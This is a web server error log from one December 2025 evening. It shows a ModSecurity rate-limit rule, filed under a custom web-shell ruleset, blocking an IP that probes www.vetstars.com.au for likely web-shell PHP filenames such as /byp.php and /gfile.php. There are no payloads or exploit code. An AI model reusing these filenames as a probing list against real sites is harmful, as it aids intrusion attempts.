[Sun Dec 07 23:07:08.843460 2025] [:error] [pid 9961:tid 9978] [client 4.190.185.215:22955] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admir.php"] [unique_id "aTWYHGQdnfbgcnzr89KEkAAAAU8"]
[Sun Dec 07 23:07:09.483843 2025] [:error] [pid 9961:tid 9977] [client 4.190.185.215:39319] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admir.php"] [unique_id "aTWYHWQdnfbgcnzr89KElQAAAU4"]
[Sun Dec 07 23:07:10.809297 2025] [:error] [pid 5222:tid 5240] [client 4.190.185.215:5368] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admir.php"] [unique_id "aTWYHt8FU0HgkYWmt7tVggAAAE4"]
[Sun Dec 07 23:07:13.067663 2025] [:error] [pid 5224:tid 5294] [client 4.190.185.215:42679] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsr2.php"] [unique_id "aTWYIfAAkbWt7RJBoF__lQAAAM0"]
[Sun Dec 07 23:07:14.334755 2025] [:error] [pid 5312:tid 5314] [client 4.190.185.215:44530] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsr2.php"] [unique_id "aTWYIuaM49rasZGg_o4YWQAAAAA"]
[Sun Dec 07 23:07:14.949192 2025] [:error] [pid 5224:tid 5301] [client 4.190.185.215:39349] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsr2.php"] [unique_id "aTWYIvAAkbWt7RJBoF__lwAAANQ"]
[Sun Dec 07 23:07:17.113379 2025] [:error] [pid 9610:tid 9632] [client 4.190.185.215:44517] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsr2.php"] [unique_id "aTWYJcZ4Zl9G0UhQ7w1V7gAAARQ"]
[Sun Dec 07 23:07:17.812962 2025] [:error] [pid 5312:tid 5328] [client 4.190.185.215:5903] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aTWYJeaM49rasZGg_o4YXgAAAA4"]
[Sun Dec 07 23:07:18.567857 2025] [:error] [pid 5222:tid 5246] [client 4.190.185.215:43450] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aTWYJt8FU0HgkYWmt7tVhwAAAFQ"]
[Sun Dec 07 23:07:19.481786 2025] [:error] [pid 5223:tid 5255] [client 4.190.185.215:40636] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aTWYJ_oRJa-T0FB0DNoBQgAAAIE"]
[Sun Dec 07 23:07:20.508416 2025] [:error] [pid 5224:tid 5304] [client 4.190.185.215:22957] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ar.php"] [unique_id "aTWYKPAAkbWt7RJBoF__nQAAANc"]
[Sun Dec 07 23:07:22.063109 2025] [:error] [pid 5223:tid 5273] [client 4.190.185.215:22923] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wto.php"] [unique_id "aTWYKvoRJa-T0FB0DNoBSwAAAJM"]
[Sun Dec 07 23:07:22.727397 2025] [:error] [pid 5222:tid 5245] [client 4.190.185.215:44523] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wto.php"] [unique_id "aTWYKt8FU0HgkYWmt7tViwAAAFM"]
[Sun Dec 07 23:07:25.087860 2025] [:error] [pid 5222:tid 5240] [client 4.190.185.215:44486] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wto.php"] [unique_id "aTWYLd8FU0HgkYWmt7tVjQAAAE4"]
[Sun Dec 07 23:07:26.563652 2025] [:error] [pid 9610:tid 9618] [client 4.190.185.215:28964] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wto.php"] [unique_id "aTWYLsZ4Zl9G0UhQ7w1V9wAAAQY"]
[Sun Dec 07 23:07:28.324962 2025] [:error] [pid 5223:tid 5255] [client 4.190.185.215:28331] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ink.php"] [unique_id "aTWYMPoRJa-T0FB0DNoBWQAAAIE"]
[Sun Dec 07 23:07:31.963776 2025] [:error] [pid 9610:tid 9633] [client 4.190.185.215:42271] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ink.php"] [unique_id "aTWYM8Z4Zl9G0UhQ7w1V_AAAARU"]
[Sun Dec 07 23:07:33.355031 2025] [:error] [pid 9961:tid 9973] [client 4.190.185.215:42256] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ink.php"] [unique_id "aTWYNWQdnfbgcnzr89KEsAAAAUo"]
[Sun Dec 07 23:07:34.257018 2025] [:error] [pid 5312:tid 5338] [client 4.190.185.215:38988] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ink.php"] [unique_id "aTWYNuaM49rasZGg_o4YbQAAABg"]
[Sun Dec 07 23:07:34.841792 2025] [:error] [pid 9610:tid 9625] [client 4.190.185.215:39029] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7f8c8.php"] [unique_id "aTWYNsZ4Zl9G0UhQ7w1WAQAAAQ0"]
[Sun Dec 07 23:07:36.928831 2025] [:error] [pid 9610:tid 9612] [client 4.190.185.215:44232] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7f8c8.php"] [unique_id "aTWYOMZ4Zl9G0UhQ7w1WAwAAAQA"]
[Sun Dec 07 23:07:37.565340 2025] [:error] [pid 9610:tid 9617] [client 4.190.185.215:53914] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7f8c8.php"] [unique_id "aTWYOcZ4Zl9G0UhQ7w1WBAAAAQU"]
[Sun Dec 07 23:07:38.359097 2025] [:error] [pid 9610:tid 9624] [client 4.190.185.215:44250] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7f8c8.php"] [unique_id "aTWYOsZ4Zl9G0UhQ7w1WBQAAAQw"]
[Sun Dec 07 23:07:39.338472 2025] [:error] [pid 5222:tid 5235] [client 4.190.185.215:35604] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/qlex1.php"] [unique_id "aTWYO98FU0HgkYWmt7tVkgAAAEk"]
[Sun Dec 07 23:07:41.286491 2025] [:error] [pid 9610:tid 9627] [client 4.190.185.215:35644] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/qlex1.php"] [unique_id "aTWYPcZ4Zl9G0UhQ7w1WCQAAAQ8"]
[Sun Dec 07 23:07:42.263884 2025] [:error] [pid 9961:tid 9987] [client 4.190.185.215:44285] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/qlex1.php"] [unique_id "aTWYPmQdnfbgcnzr89KEtgAAAVg"]
[Sun Dec 07 23:07:44.438466 2025] [:error] [pid 5224:tid 5299] [client 4.190.185.215:44275] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/qlex1.php"] [unique_id "aTWYQPAAkbWt7RJBoF__qAAAANI"]
[Sun Dec 07 23:07:45.420030 2025] [:error] [pid 5223:tid 5277] [client 4.190.185.215:32146] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pes.php"] [unique_id "aTWYQfoRJa-T0FB0DNoBcAAAAJc"]
[Sun Dec 07 23:07:46.438089 2025] [:error] [pid 9610:tid 9623] [client 4.190.185.215:5442] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pes.php"] [unique_id "aTWYQsZ4Zl9G0UhQ7w1WDgAAAQs"]
[Sun Dec 07 23:07:47.900282 2025] [:error] [pid 5312:tid 5322] [client 4.190.185.215:43990] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pes.php"] [unique_id "aTWYQ-aM49rasZGg_o4YegAAAAg"]
[Sun Dec 07 23:07:48.634527 2025] [:error] [pid 5223:tid 5254] [client 4.190.185.215:43196] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pes.php"] [unique_id "aTWYRPoRJa-T0FB0DNoBcwAAAIA"]
[Sun Dec 07 23:07:49.661876 2025] [:error] [pid 5222:tid 5246] [client 4.190.185.215:39021] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redi.php"] [unique_id "aTWYRd8FU0HgkYWmt7tVmQAAAFQ"]
[Sun Dec 07 23:07:51.095112 2025] [:error] [pid 5222:tid 5241] [client 4.190.185.215:44013] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redi.php"] [unique_id "aTWYR98FU0HgkYWmt7tVnwAAAE8"]
[Sun Dec 07 23:07:53.360842 2025] [:error] [pid 9610:tid 9612] [client 4.190.185.215:31088] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redi.php"] [unique_id "aTWYScZ4Zl9G0UhQ7w1WEAAAAQA"]
[Sun Dec 07 23:07:54.396453 2025] [:error] [pid 9610:tid 9615] [client 4.190.185.215:28399] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/redi.php"] [unique_id "aTWYSsZ4Zl9G0UhQ7w1WEwAAAQM"]
[Sun Dec 07 23:07:56.062236 2025] [:error] [pid 5312:tid 5326] [client 4.190.185.215:32144] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/man.php7"] [unique_id "aTWYTOaM49rasZGg_o4YgAAAAAw"]
[Sun Dec 07 23:07:57.045794 2025] [:error] [pid 5223:tid 5275] [client 4.190.185.215:37699] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/man.php7"] [unique_id "aTWYTfoRJa-T0FB0DNoBdgAAAJU"]
[Sun Dec 07 23:07:57.966308 2025] [:error] [pid 5223:tid 5268] [client 4.190.185.215:43253] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/man.php7"] [unique_id "aTWYTfoRJa-T0FB0DNoBeAAAAI4"]
[Sun Dec 07 23:07:59.492344 2025] [:error] [pid 5224:tid 5283] [client 4.190.185.215:37188] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/man.php7"] [unique_id "aTWYT_AAkbWt7RJBoF__tAAAAMI"]
[Sun Dec 07 23:08:01.344183 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:32166] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aTWYUWQdnfbgcnzr89KExAAAAVI"]
[Sun Dec 07 23:08:02.229648 2025] [:error] [pid 5312:tid 5314] [client 4.190.185.215:32170] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aTWYUuaM49rasZGg_o4YhgAAAAA"]
[Sun Dec 07 23:08:03.943190 2025] [:error] [pid 9610:tid 9622] [client 4.190.185.215:43214] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aTWYU8Z4Zl9G0UhQ7w1WLAAAAQo"]
[Sun Dec 07 23:08:37.772675 2025] [proxy_fcgi:error] [pid 5224:tid 5305] [client 4.190.185.215:40694] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 23:09:43.229389 2025] [:error] [pid 9610:tid 9636] [client 4.190.185.215:28367] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hi.php"] [unique_id "aTWYt8Z4Zl9G0UhQ7w1WjAAAARg"]
[Sun Dec 07 23:09:44.736981 2025] [:error] [pid 5312:tid 5317] [client 4.190.185.215:36511] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hi.php"] [unique_id "aTWYuOaM49rasZGg_o4Y7wAAAAM"]
[Sun Dec 07 23:09:46.242417 2025] [:error] [pid 5222:tid 5248] [client 4.190.185.215:45972] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hi.php"] [unique_id "aTWYut8FU0HgkYWmt7tWBgAAAFY"]
[Sun Dec 07 23:09:47.275072 2025] [:error] [pid 5223:tid 5261] [client 4.190.185.215:45018] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hi.php"] [unique_id "aTWYu_oRJa-T0FB0DNoBygAAAIc"]
[Sun Dec 07 23:09:48.212260 2025] [:error] [pid 5312:tid 5323] [client 4.190.185.215:36494] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aTWYvOaM49rasZGg_o4Y8wAAAAk"]
[Sun Dec 07 23:09:50.280452 2025] [:error] [pid 5223:tid 5256] [client 4.190.185.215:28373] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aTWYvvoRJa-T0FB0DNoBywAAAII"]
[Sun Dec 07 23:09:51.727368 2025] [:error] [pid 5222:tid 5243] [client 4.190.185.215:35103] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aTWYv98FU0HgkYWmt7tWDQAAAFE"]
[Sun Dec 07 23:09:53.291257 2025] [:error] [pid 5224:tid 5281] [client 4.190.185.215:5959] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/default.php"] [unique_id "aTWYwfAAkbWt7RJBoF8AWQAAAMA"]
[Sun Dec 07 23:09:56.295646 2025] [:error] [pid 5223:tid 5254] [client 4.190.185.215:37794] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aTWYxPoRJa-T0FB0DNoB0gAAAIA"]
[Sun Dec 07 23:09:57.208727 2025] [:error] [pid 9610:tid 9617] [client 4.190.185.215:37760] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aTWYxcZ4Zl9G0UhQ7w1WkgAAAQU"]
[Sun Dec 07 23:09:59.342769 2025] [:error] [pid 5224:tid 5290] [client 4.190.185.215:5958] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aTWYx_AAkbWt7RJBoF8AXgAAAMk"]
[Sun Dec 07 23:10:00.770639 2025] [:error] [pid 5223:tid 5265] [client 4.190.185.215:36519] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aTWYyPoRJa-T0FB0DNoB1gAAAIs"]
[Sun Dec 07 23:10:01.753021 2025] [:error] [pid 5222:tid 5227] [client 4.190.185.215:35087] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "aTWYyd8FU0HgkYWmt7tWDgAAAEE"]
